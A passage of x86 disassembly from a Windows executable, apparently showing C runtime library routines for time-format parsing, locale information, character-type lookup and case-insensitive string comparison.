short loc_4334A1 ; --------------------------------------------------------------------------- loc_433497: ; CODE XREF: sub_4333D0+B0j mov [ebp+var_8], 62h jmp short loc_4334A1 ; --------------------------------------------------------------------------- loc_43349D: ; CODE XREF: sub_4333D0+B0j mov [ebp+var_8], 42h loc_4334A1: ; CODE XREF: sub_4333D0+ABj ; sub_4333D0+C5j ... jmp loc_4337A0 ; --------------------------------------------------------------------------- loc_4334A6: ; CODE XREF: sub_4333D0+91j ; DATA XREF: .nsp0:00433860o mov edx, [ebp+var_C] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax cmp [ebp+var_1C], 3 ja short loc_4334DF mov ecx, [ebp+var_1C] jmp dword ptr loc_4338DA+5[ecx*4] loc_4334C5: ; CODE XREF: sub_4333D0+B0j mov dword_4EFC20, 1 loc_4334CF: ; CODE XREF: sub_4333D0+B0j ; sub_4333D0+EEj mov [ebp+var_8], 64h jmp short loc_4334DF ; --------------------------------------------------------------------------- loc_4334D5: ; CODE XREF: sub_4333D0+B0j ; sub_4333D0+EEj mov [ebp+var_8], 61h jmp short loc_4334DF ; --------------------------------------------------------------------------- loc_4334DB: ; CODE XREF: sub_4333D0+B0j ; sub_4333D0+EEj mov [ebp+var_8], 41h loc_4334DF: ; CODE XREF: sub_4333D0+E9j ; sub_4333D0+103j ... jmp loc_4337A0 ; --------------------------------------------------------------------------- loc_4334E4: ; CODE XREF: sub_4333D0+91j ; DATA XREF: .nsp0:00433874o mov edx, [ebp+var_C] mov [ebp+var_20], edx cmp [ebp+var_20], 2 jz short loc_4334F8 cmp [ebp+var_20], 4 jz short loc_4334FE jmp short loc_433502 ; --------------------------------------------------------------------------- loc_4334F8: ; CODE XREF: sub_4333D0+11Ej mov [ebp+var_8], 79h jmp short loc_433502 ; --------------------------------------------------------------------------- loc_4334FE: ; CODE XREF: sub_4333D0+124j mov [ebp+var_8], 59h loc_433502: ; CODE XREF: sub_4333D0+126j ; sub_4333D0+12Cj jmp loc_4337A0 ; --------------------------------------------------------------------------- loc_433507: ; CODE XREF: sub_4333D0+91j ; DATA XREF: .nsp0:00433864o mov eax, [ebp+var_C] mov [ebp+var_24], eax cmp [ebp+var_24], 1 jz short loc_43351B cmp [ebp+var_24], 2 jz short loc_433525 jmp short loc_433529 ; --------------------------------------------------------------------------- loc_43351B: ; CODE XREF: sub_4333D0+141j mov dword_4EFC20, 1 loc_433525: ; CODE XREF: sub_4333D0+147j mov [ebp+var_8], 49h loc_433529: ; CODE XREF: sub_4333D0+149j jmp loc_4337A0 ; --------------------------------------------------------------------------- loc_43352E: ; CODE XREF: sub_4333D0+91j ; DATA XREF: .nsp0:00433858o mov ecx, [ebp+var_C] mov [ebp+var_28], ecx cmp [ebp+var_28], 1 jz short loc_433542 cmp [ebp+var_28], 2 jz short loc_43354C jmp short loc_433550 ; --------------------------------------------------------------------------- loc_433542: ; CODE XREF: sub_4333D0+168j mov dword_4EFC20, 1 loc_43354C: ; CODE XREF: sub_4333D0+16Ej mov [ebp+var_8], 48h loc_433550: ; CODE XREF: sub_4333D0+170j jmp loc_4337A0 ; --------------------------------------------------------------------------- loc_433555: ; CODE XREF: sub_4333D0+91j ; DATA XREF: .nsp0:00433868o mov edx, [ebp+var_C] mov [ebp+var_2C], edx cmp [ebp+var_2C], 1 jz short loc_433569 cmp [ebp+var_2C], 2 jz short loc_433573 jmp short loc_433577 ; --------------------------------------------------------------------------- loc_433569: ; CODE XREF: sub_4333D0+18Fj mov dword_4EFC20, 1 loc_433573: ; CODE XREF: sub_4333D0+195j mov [ebp+var_8], 4Dh loc_433577: ; CODE XREF: sub_4333D0+197j jmp loc_4337A0 ; --------------------------------------------------------------------------- loc_43357C: ; CODE XREF: sub_4333D0+91j ; DATA XREF: .nsp0:0043386Co mov eax, [ebp+var_C] mov [ebp+var_30], eax cmp [ebp+var_30], 1 jz short loc_433590 cmp [ebp+var_30], 2 jz short loc_43359A jmp short loc_43359E ; --------------------------------------------------------------------------- loc_433590: ; CODE XREF: sub_4333D0+1B6j mov dword_4EFC20, 1 loc_43359A: ; CODE XREF: sub_4333D0+1BCj mov [ebp+var_8], 53h loc_43359E: ; CODE XREF: sub_4333D0+1BEj jmp loc_4337A0 ; --------------------------------------------------------------------------- loc_4335A3: ; CODE XREF: sub_4333D0+91j ; DATA XREF: .nsp0:00433854o push offset aAmPm ; "am/pm" mov ecx, [ebp+arg_0] push ecx call sub_41DBF0 add esp, 8 test eax, eax jnz short loc_4335C3 mov edx, [ebp+arg_0] add edx, 5 mov [ebp+var_4], edx jmp short loc_4335E1 ; --------------------------------------------------------------------------- loc_4335C3: ; CODE XREF: sub_4333D0+1E6j push offset aAP ; "a/p" mov eax, [ebp+arg_0] push eax call sub_41DBF0 add esp, 8 test eax, eax jnz short loc_4335E1 mov ecx, [ebp+arg_0] add ecx, 3 mov [ebp+var_4], ecx loc_4335E1: ; CODE XREF: sub_4333D0+1F1j ; sub_4333D0+206j mov [ebp+var_8], 70h jmp loc_4337A0 ; --------------------------------------------------------------------------- loc_4335EA: ; CODE XREF: sub_4333D0+91j ; DATA XREF: .nsp0:00433870o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_433601 mov eax, [ebp+arg_10] mov ecx, [eax+98h] mov [ebp+var_10], ecx jmp short loc_43360D ; --------------------------------------------------------------------------- loc_433601: ; CODE XREF: sub_4333D0+221j mov edx, [ebp+arg_10] mov eax, [edx+9Ch] mov [ebp+var_10], eax loc_43360D: ; CODE XREF: sub_4333D0+22Fj ; sub_4333D0+2DFj cmp [ebp+var_C], 0 jle loc_4336B4 mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jbe loc_4336B4 mov edx, [ebp+var_10] xor eax, eax mov al, [edx] mov ecx, off_45149C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_433677 mov eax, [ebp+arg_C] cmp dword ptr [eax], 1 jbe short loc_433677 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+var_10] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx loc_433677: ; CODE XREF: sub_4333D0+26Ej ; sub_4333D0+276j mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+var_10] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx jmp loc_43360D ; --------------------------------------------------------------------------- loc_4336B4: ; CODE XREF: sub_4333D0+241j ; sub_4333D0+24Dj mov eax, [ebp+var_4] mov [ebp+arg_0], eax jmp loc_4333D6 ; --------------------------------------------------------------------------- loc_4336BF: ; CODE XREF: sub_4333D0+91j ; DATA XREF: .nsp0:off_433850o mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jz loc_433792 mov edx, [ebp+arg_0] add edx, [ebp+var_C] mov [ebp+arg_0], edx loc_4336D6: ; CODE XREF: sub_4333D0+3BBj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz loc_433790 mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jz loc_433790 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 27h jnz short loc_433709 mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp loc_433790 ; --------------------------------------------------------------------------- loc_433709: ; CODE XREF: sub_4333D0+329j mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_43375C mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 1 jbe short loc_43375C mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [ebp+arg_0] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_43375C: ; CODE XREF: sub_4333D0+353j ; sub_4333D0+35Bj mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+arg_0] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx jmp loc_4336D6 ; --------------------------------------------------------------------------- loc_433790: ; CODE XREF: sub_4333D0+30Ej ; sub_4333D0+31Aj ... jmp short loc_43379B ; --------------------------------------------------------------------------- loc_433792: ; CODE XREF: sub_4333D0+2F7j mov eax, [ebp+arg_0] add eax, [ebp+var_C] mov [ebp+arg_0], eax loc_43379B: ; CODE XREF: sub_4333D0:loc_433790j jmp loc_4333D6 ; --------------------------------------------------------------------------- loc_4337A0: ; CODE XREF: sub_4333D0+80j ; sub_4333D0+91j ... movsx ecx, [ebp+var_8] test ecx, ecx jz short loc_4337CC mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov al, [ebp+var_8] push eax call sub_432C00 add esp, 14h mov ecx, [ebp+var_4] mov [ebp+arg_0], ecx jmp short loc_433847 ; --------------------------------------------------------------------------- loc_4337CC: ; CODE XREF: sub_4333D0+3D6j mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, off_45149C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_433818 mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+arg_0] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax loc_433818: ; CODE XREF: sub_4333D0+417j mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [ebp+arg_0] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_433847: ; CODE XREF: sub_4333D0+3FAj jmp loc_4333D6 ; --------------------------------------------------------------------------- loc_43384C: ; CODE XREF: sub_4333D0+Ej ; sub_4333D0+1Aj mov esp, ebp pop ebp retn sub_4333D0 endp ; --------------------------------------------------------------------------- off_433850 dd offset loc_4336BF ; DATA XREF: sub_4333D0+91r dd offset loc_4335A3 dd offset loc_43352E dd offset loc_433468 dd offset loc_4334A6 dd offset loc_433507 dd offset loc_433555 dd offset loc_43357C dd offset loc_4335EA dd offset loc_4334E4 dd offset loc_4337A0 byte_43387C db 0 ; DATA XREF: sub_4333D0+8Br ; --------------------------------------------------------------------------- or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or al, [ecx] or cl, [edx] or cl, [edx] or cl, [edx] add cl, [edx] or cl, [edx] or al, [ebx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or al, [ecx] or cl, [edx] add al, 0Ah or cl, [edx] add eax, 0A0A0A0Ah push es or cl, [edx] or cl, [edx] or al, [edi] or [edx], cl or cl, [edx] or cl, [ecx] loc_4338CF: ; DATA XREF: sub_4333D0+B0r xchg esi, [ebx+eax*2] add [ecx-68FFBCCCh], dl xor al, 43h loc_4338DA: ; DATA XREF: sub_4333D0+EEr add [ebp-3AFFBCCCh], bl xor al, 43h add bh, cl xor al, 43h add ch, dl xor al, 43h add bl, bl xor al, 43h add ah, cl ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4338F0 proc near ; CODE XREF: sub_42E940+41p ; sub_42E940+60p ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0A8h cmp [ebp+arg_0], 1 jnz loc_433A59 mov eax, [ebp+arg_C] mov [ebp+var_90], eax lea ecx, [ebp+var_8C] mov [ebp+var_C], ecx mov [ebp+var_4], 0 mov [ebp+var_94], 80h push 0 mov edx, [ebp+var_94] push edx mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_434810 add esp, 14h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz loc_4339DF call dword_4F1348 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_433960 jmp loc_433A3D ; --------------------------------------------------------------------------- loc_433960: ; CODE XREF: sub_4338F0+69j push 0 push 0 push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_434810 add esp, 14h mov [ebp+var_94], eax cmp [ebp+var_94], 0 jnz short loc_43398A jmp loc_433A3D ; --------------------------------------------------------------------------- loc_43398A: ; CODE XREF: sub_4338F0+93j push 58h push offset aInithelp_c ; "inithelp.c" push 2 mov edx, [ebp+var_94] push edx call sub_418EF0 add esp, 10h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4339B0 jmp loc_433A3D ; --------------------------------------------------------------------------- loc_4339B0: ; CODE XREF: sub_4338F0+B9j mov [ebp+var_4], 1 push 0 mov eax, [ebp+var_94] push eax mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_434810 add esp, 14h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4339DF jmp short loc_433A3D ; --------------------------------------------------------------------------- loc_4339DF: ; CODE XREF: sub_4338F0+5Aj ; sub_4338F0+EBj push 63h push offset aInithelp_c ; "inithelp.c" push 2 mov ecx, [ebp+var_8] push ecx call sub_418EF0 add esp, 10h mov edx, [ebp+var_90] mov [edx], eax mov eax, [ebp+var_90] cmp dword ptr [eax], 0 jnz short loc_433A09 jmp short loc_433A3D ; --------------------------------------------------------------------------- loc_433A09: ; CODE XREF: sub_4338F0+115j mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_C] push edx mov eax, [ebp+var_90] mov ecx, [eax] push ecx call sub_41B1F0 add esp, 0Ch cmp [ebp+var_4], 0 jz short loc_433A36 push 2 mov edx, [ebp+var_C] push edx call sub_419980 add esp, 8 loc_433A36: ; CODE XREF: sub_4338F0+136j xor eax, eax jmp loc_433B76 ; --------------------------------------------------------------------------- loc_433A3D: ; CODE XREF: sub_4338F0+6Bj ; sub_4338F0+95j ... cmp [ebp+var_4], 0 jz short loc_433A51 push 2 mov eax, [ebp+var_C] push eax call sub_419980 add esp, 8 loc_433A51: ; CODE XREF: sub_4338F0+151j or eax, 0FFFFFFFFh jmp loc_433B76 ; --------------------------------------------------------------------------- loc_433A59: ; CODE XREF: sub_4338F0+Dj cmp [ebp+arg_0], 0 jnz loc_433B73 mov [ebp+var_A4], 4 mov ecx, [ebp+arg_C] mov [ebp+var_9C], ecx push 0 mov edx, [ebp+var_A4] push edx push offset byte_4EFBFC mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_434670 add esp, 14h test eax, eax jnz short loc_433AA0 or eax, 0FFFFFFFFh jmp loc_433B76 ; --------------------------------------------------------------------------- loc_433AA0: ; CODE XREF: sub_4338F0+1A6j mov edx, [ebp+var_9C] mov byte ptr [edx], 0 mov [ebp+var_A0], 0 jmp short loc_433AC4 ; --------------------------------------------------------------------------- loc_433AB5: ; CODE XREF: sub_4338F0:loc_433B6Aj mov eax, [ebp+var_A0] add eax, 1 mov [ebp+var_A0], eax loc_433AC4: ; CODE XREF: sub_4338F0+1C3j cmp [ebp+var_A0], 4 jge loc_433B6F cmp dword_4516A8, 1 jle short loc_433B0B push 4 mov ecx, [ebp+var_A0] mov dl, byte_4EFBFC[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh push eax call sub_421E50 add esp, 8 mov [ebp+var_A8], eax jmp short loc_433B3E ; --------------------------------------------------------------------------- loc_433B0B: ; CODE XREF: sub_4338F0+1E8j mov ecx, [ebp+var_A0] mov dl, byte_4EFBFC[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh mov ecx, off_45149C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_A8], edx loc_433B3E: ; CODE XREF: sub_4338F0+219j cmp [ebp+var_A8], 0 jz short loc_433B68 mov eax, [ebp+var_9C] movsx ecx, byte ptr [eax] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_98] lea eax, [ecx+edx-30h] mov ecx, [ebp+var_9C] mov [ecx], al jmp short loc_433B6A ; --------------------------------------------------------------------------- loc_433B68: ; CODE XREF: sub_4338F0+255j jmp short loc_433B6F ; --------------------------------------------------------------------------- loc_433B6A: ; CODE XREF: sub_4338F0+276j jmp loc_433AB5 ; --------------------------------------------------------------------------- loc_433B6F: ; CODE XREF: sub_4338F0+1DBj ; sub_4338F0:loc_433B68j xor eax, eax jmp short loc_433B76 ; --------------------------------------------------------------------------- loc_433B73: ; CODE XREF: sub_4338F0+16Dj or eax, 0FFFFFFFFh loc_433B76: ; CODE XREF: sub_4338F0+148j ; sub_4338F0+164j ... mov esp, ebp pop ebp retn sub_4338F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, off_4526D8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433B90 proc near ; CODE XREF: sub_42F970+216p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_438EF0 push offset sub_42A9E4 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFDCh push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4EFC08, 0 jnz short loc_433C0E lea eax, [ebp+var_1C] push eax push 1 push offset dword_4382B8 push 1 call dword_4F12EC ; GetStringTypeW test eax, eax jz short loc_433BE2 mov dword_4EFC08, 1 jmp short loc_433C0E ; --------------------------------------------------------------------------- loc_433BE2: ; CODE XREF: sub_433B90+44j lea ecx, [ebp+var_1C] push ecx push 1 push offset dword_4382B4 push 1 push 0 call dword_4F12F0 ; GetStringTypeA test eax, eax jz short loc_433C07 mov dword_4EFC08, 2 jmp short loc_433C0E ; --------------------------------------------------------------------------- loc_433C07: ; CODE XREF: sub_433B90+69j xor eax, eax jmp loc_433DE9 ; --------------------------------------------------------------------------- loc_433C0E: ; CODE XREF: sub_433B90+2Dj ; sub_433B90+50j ... cmp dword_4EFC08, 1 jnz short loc_433C32 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call dword_4F12EC ; GetStringTypeW jmp loc_433DE9 ; --------------------------------------------------------------------------- loc_433C32: ; CODE XREF: sub_433B90+85j cmp dword_4EFC08, 2 jnz loc_433DE7 cmp [ebp+arg_10], 0 jnz short loc_433C4D mov eax, dword_4EF984 mov [ebp+arg_10], eax loc_433C4D: ; CODE XREF: sub_433B90+B3j push 0 push 0 push 0 push 0 mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx push 220h mov eax, [ebp+arg_10] push eax call dword_4F141C ; WideCharToMultiByte mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_433C7C xor eax, eax jmp loc_433DE9 ; --------------------------------------------------------------------------- loc_433C7C: ; CODE XREF: sub_433B90+E3j mov [ebp+var_4], 0 mov eax, [ebp+var_28] add eax, 3 and al, 0FCh call sub_41BC60 mov [ebp+var_30], esp mov [ebp+var_18], esp mov ecx, [ebp+var_30] mov [ebp+var_2C], ecx mov edx, [ebp+var_28] push edx push 0 mov eax, [ebp+var_2C] push eax call sub_41B190 add esp, 0Ch mov [ebp+var_4], 0FFFFFFFFh jmp short loc_433CCE ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_2C], 0 mov [ebp+var_4], 0FFFFFFFFh loc_433CCE: ; CODE XREF: sub_433B90+125j cmp [ebp+var_2C], 0 jnz short loc_433CDB xor eax, eax jmp loc_433DE9 ; --------------------------------------------------------------------------- loc_433CDB: ; CODE XREF: sub_433B90+142j push 0 push 0 mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx push 220h mov edx, [ebp+arg_10] push edx call dword_4F141C ; WideCharToMultiByte test eax, eax jnz short loc_433D09 xor eax, eax jmp loc_433DE9 ; --------------------------------------------------------------------------- loc_433D09: ; CODE XREF: sub_433B90+170j mov [ebp+var_4], 1 mov eax, [ebp+var_28] lea eax, [eax+eax+2] add eax, 3 and al, 0FCh call sub_41BC60 mov [ebp+var_34], esp mov [ebp+var_18], esp mov ecx, [ebp+var_34] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_433D4D ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_433D4D: ; CODE XREF: sub_433B90+1A4j cmp [ebp+var_24], 0 jnz short loc_433D5A xor eax, eax jmp loc_433DE9 ; --------------------------------------------------------------------------- loc_433D5A: ; CODE XREF: sub_433B90+1C1j cmp [ebp+arg_14], 0 jnz short loc_433D69 mov edx, dword_4EF974 mov [ebp+arg_14], edx loc_433D69: ; CODE XREF: sub_433B90+1CEj mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] mov word ptr [ecx+eax*2], 0FFFFh mov edx, [ebp+arg_8] mov eax, [ebp+var_24] mov word ptr [eax+edx*2-2], 0FFFFh mov ecx, [ebp+var_24] push ecx mov edx, [ebp+var_28] push edx mov eax, [ebp+var_2C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_14] push edx call dword_4F12F0 ; GetStringTypeA mov [ebp+var_20], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] xor edx, edx mov dx, [ecx+eax*2-2] cmp edx, 0FFFFh jz short loc_433DC8 mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] xor edx, edx mov dx, [ecx+eax*2] cmp edx, 0FFFFh jz short loc_433DCC loc_433DC8: ; CODE XREF: sub_433B90+222j xor eax, eax jmp short loc_433DE9 ; --------------------------------------------------------------------------- loc_433DCC: ; CODE XREF: sub_433B90+236j mov eax, [ebp+arg_8] shl eax, 1 push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_C] push edx call sub_41D520 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_433DE9 ; --------------------------------------------------------------------------- loc_433DE7: ; CODE XREF: sub_433B90+A9j xor eax, eax loc_433DE9: ; CODE XREF: sub_433B90+79j ; sub_433B90+9Dj ... lea esp, [ebp-40h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_433B90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433E00 proc near ; CODE XREF: sub_4300F0+11Bp ; sub_4300F0+2D4p ... var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] or ecx, ecx jz loc_433EFA mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] lea eax, dword_4EF96C cmp dword ptr [eax+8], 0 jnz short loc_433E71 mov bh, 41h mov bl, 5Ah mov dh, 20h lea ecx, [ecx+0] loc_433E2C: ; CODE XREF: sub_433E00+53j mov ah, [esi] or ah, ah mov al, [edi] jz short loc_433E55 or al, al jz short loc_433E55 inc esi inc edi cmp ah, bh jb short loc_433E44 cmp ah, bl ja short loc_433E44 add ah, dh loc_433E44: ; CODE XREF: sub_433E00+3Cj ; sub_433E00+40j cmp al, bh jb short loc_433E4E cmp al, bl ja short loc_433E4E add al, dh loc_433E4E: ; CODE XREF: sub_433E00+46j ; sub_433E00+4Aj cmp ah, al jnz short loc_433E5F dec ecx jnz short loc_433E2C loc_433E55: ; CODE XREF: sub_433E00+32j ; sub_433E00+36j xor ecx, ecx cmp ah, al jz loc_433EFA loc_433E5F: ; CODE XREF: sub_433E00+50j mov ecx, 0FFFFFFFFh jb loc_433EFA neg ecx jmp loc_433EFA ; --------------------------------------------------------------------------- loc_433E71: ; CODE XREF: sub_433E00+21j lock inc dword_4EFD48 cmp dword_4EFD44, 0 jg short loc_433E85 push 0 jmp short loc_433E9E ; --------------------------------------------------------------------------- loc_433E85: ; CODE XREF: sub_433E00+7Fj lock dec dword_4EFD48 mov ebx, ecx push 13h call sub_41FB40 mov [esp+10h+var_10], 1 mov ecx, ebx loc_433E9E: ; CODE XREF: sub_433E00+83j xor eax, eax xor ebx, ebx mov edi, edi loc_433EA4: ; CODE XREF: sub_433E00+CDj mov al, [esi] or eax, eax mov bl, [edi] jz short loc_433ECF or ebx, ebx jz short loc_433ECF inc esi inc edi push ecx push eax push ebx call sub_41E5F0 mov ebx, eax add esp, 4 call sub_41E5F0 add esp, 4 pop ecx cmp eax, ebx jnz short loc_433ED5 dec ecx jnz short loc_433EA4 loc_433ECF: ; CODE XREF: sub_433E00+AAj ; sub_433E00+AEj xor ecx, ecx cmp eax, ebx jz short loc_433EDE loc_433ED5: ; CODE XREF: sub_433E00+CAj mov ecx, 0FFFFFFFFh jb short loc_433EDE neg ecx loc_433EDE: ; CODE XREF: sub_433E00+D3j ; sub_433E00+DAj pop eax or eax, eax jnz short loc_433EEC lock dec dword_4EFD48 jmp short loc_433EFA ; --------------------------------------------------------------------------- loc_433EEC: ; CODE XREF: sub_433E00+E1j mov ebx, ecx push 13h call sub_41FBE0 add esp, 4 mov ecx, ebx loc_433EFA: ; CODE XREF: sub_433E00+Bj ; sub_433E00+59j ... mov eax, ecx pop ebx pop esi pop edi leave retn sub_433E00 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] cmp eax, dword_4EFD40 jnb short loc_433F41 mov ecx, [ebp+8] sar ecx, 5 mov edx, [ebp+8] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_433F51 loc_433F41: ; CODE XREF: .nsp0:00433F1Dj call sub_4248A0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_433F7F ; --------------------------------------------------------------------------- loc_433F51: ; CODE XREF: .nsp0:00433F3Fj mov edx, [ebp+8] push edx call sub_42BC50 add esp, 4 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_433F90 add esp, 8 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_42BCE0 add esp, 4 mov eax, [ebp-4] loc_433F7F: ; CODE XREF: .nsp0:00433F4Fj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433F90 proc near ; CODE XREF: sub_430DB0+D4p ; sub_430DB0+1A6p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 80h mov [ebp+var_4], eax cmp [ebp+arg_4], 8000h jnz short loc_433FF9 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] mov cl, [eax+edx+4] and cl, 7Fh mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov edx, 